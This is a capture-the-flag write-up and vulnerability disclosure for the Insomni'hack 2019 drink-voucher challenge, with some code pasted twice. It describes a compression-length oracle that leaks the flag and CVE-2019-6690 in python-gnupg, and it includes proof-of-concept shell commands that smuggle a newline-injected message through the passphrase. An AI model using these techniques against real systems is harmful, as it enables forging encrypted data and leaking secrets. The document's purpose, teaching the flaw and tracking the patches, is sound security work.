From Insomni’hack teaser 2019
Use this API to gift drink vouchers to yourself or your friends!
http://drinks.teaser.insomnihack.ch
http://146.148.126.185 <- 2nd instance if the first one is too slow
Vouchers are encrypted and you can only redeem them if you know the passphrase.
Because it is important to stay hydrated, here is the passphrase for water: WATER_2019.
Beers are for l33t h4x0rs only.
from flask import Flask,request,abort
import gnupg
import time
import json
app = Flask(__name__)
gpg = gnupg.GPG(gnupghome="/tmp/gpg", verbose=True, )
couponCodes = {
"water": "WATER_2019",
"beer" : "█████████████████████████████████" # REDACTED
}
@app.route("/generateEncryptedVoucher", methods=['POST'])
def generateEncryptedVoucher():
content = request.json
(recipientName,drink) = (content['recipientName'],content['drink'])
encryptedVoucher = str(gpg.encrypt(
"%s||%s" % (recipientName,couponCodes[drink]),
recipients = None,
symmetric = True,
passphrase = couponCodes[drink]
)).replace("PGP MESSAGE","DRINK VOUCHER")
return encryptedVoucher
@app.route("/redeemEncryptedVoucher", methods=['POST'])
def redeemEncryptedVoucher():
content = request.json
(encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase'])
decryptedVoucher = str(gpg.decrypt(
encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"),
passphrase = passphrase
))
print(json.dumps(decryptedVoucher))
(recipientName,couponCode) = decryptedVoucher.split("||")
if couponCode == couponCodes["water"]:
return "Here is some fresh water for %s\n" % recipientName
elif couponCode == couponCodes["beer"]:
return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode)
else:
abort(500)
if __name__ == "__main__":
app.run(host='0.0.0.0')couponCodes = {
"water": "WATER_2019",
"beer" : "█████████████████████████████████" # REDACTED
}@app.route("/generateEncryptedVoucher", methods=['POST'])
def generateEncryptedVoucher():
content = request.json
(recipientName,drink) = (content['recipientName'],content['drink'])
encryptedVoucher = str(gpg.encrypt(
"%s||%s" % (recipientName,couponCodes[drink]),
recipients = None,
symmetric = True,
passphrase = couponCodes[drink]
)).replace("PGP MESSAGE","DRINK VOUCHER")
return encryptedVoucher@app.route("/redeemEncryptedVoucher", methods=['POST'])
def redeemEncryptedVoucher():
content = request.json
(encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase'])
decryptedVoucher = str(gpg.decrypt(
encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"),
passphrase = passphrase
))
print(json.dumps(decryptedVoucher))
(recipientName,couponCode) = decryptedVoucher.split("||")
if couponCode == couponCodes["water"]:
return "Here is some fresh water for %s\n" % recipientName
elif couponCode == couponCodes["beer"]:
return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode)
else:
abort(500)
From GNU-E-Ducks writeup: https://ctftime.org/writeup/12927
”.. pgp compresses the message before encrypting it. This was the eureka moment, and I realized the if the recipientName we supply to generateEncryptedVoucher was similar to the coupon code for the drink, the length of the drink voucher would be less than if they were disimilar. Thus we have an oracle which leaks information about the rest of the plaintext!”
For example
len(generateEncryptedVoucher('', 'water')) == 179and
len(generateEncryptedVoucher('WATER_2019', 'water')) == 179Since our plaintext is WATER_2019||WATER_2019, the common strings are compressed.
The solution is to start with an prefix and check the length of ciphertext of the prefix appended with each character in the alphabet. If the length is less than the others, it is considered a candidate in the next round. In practice, some manual intervention is required to eliminate unlikely prefixes, such as G1MME________ in favor of more likely prefixes such as G1MME_B33R_PL. For example, I left the algorithm to run and this is what it decided the flag was: G1MME_B33R_PLZ_1MME_B33RY_TH1RSTY, even though the correct flag is G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY
The code uses python-gnupg, which use call gpg on the command line. Since we can supply a passphrase as input, we tried to send in some control chars like \n
To supply the passphrase to gpg for decryption, python-gnupg sends it as the first line on stdin to the gpg process. And there is no validation of allowed characters in the passphrase.
All interactions with gpg happens over a system shell, for the gpg libraries in many languages.
python-gnupg 0.4.3:
cmd = [self.gpgbinary, '--status-fd', '2', '--no-tty', '--no-verbose', ... ]
result = Popen(cmd, shell=False, stdin=PIPE, stdout=PIPE, stderr=PIPE, startupinfo=si)echo -e "passphrase\nMY_SECRET_STRING" | \
gpg --symmetric --batch --pinentry-mode loopback --passphrase-fd 0 | \
> /tmp/encrypted.gpgecho -e "passphrase\n$(cat /tmp/encrypted.gpg)" | \
gpg --decrypt --batch --pinentry-mode loopback --passphrase-fd 0import gnupg, sys
def encrypt_data(password):
return str(gpg.encrypt("expected message", passphrase=password,
symmetric=True, recipients=False))
gpg = gnupg.GPG(gnupghome="/tmp/gpg")
in_password = sys.stdin.read()
print(encrypt_data(in_password))echo -e "p4ssw0rd\n!MALICIOUS MESSAGE!" \
| ./vulnerable.py > /tmp/msg.gpg
gpg -d --pinentry-mode loopback --passphrase p4ssw0rd /tmp/msg.gpghttps://blog.hackeriet.no/cve-2019-6690-python-gnupg-vulnerability/
Thx to the python-gnupg maintainer (@vsajip) for releasing a fixed version very fast. (2 days)
| distro | patched | version |
|---|---|---|
| NixOS | 2019-01-25 | 0.4.4 |
| SUSE: Leap | 2019-02-07 | 0.4.4-lp150.2.6.1 |
| Debian: Jessie | 2019-02-14 | 0.3.6-1+deb8u1 |
| Mageia | 2019-03-07 | 0.4.4-1.mga6 |
| Ubuntu: Bionic | 2019-04-30 | 0.4.1-1ubuntu1.18.04.1 |
| Debian: Stretch | not fixed | not fixed |
| Gentoo | ? | ? |
https://advisories.mageia.org/MGASA-2019-0105.html https://security-tracker.debian.org/tracker/CVE-2019-6690 https://www.suse.com/security/cve/CVE-2019-6690/ https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-6690.html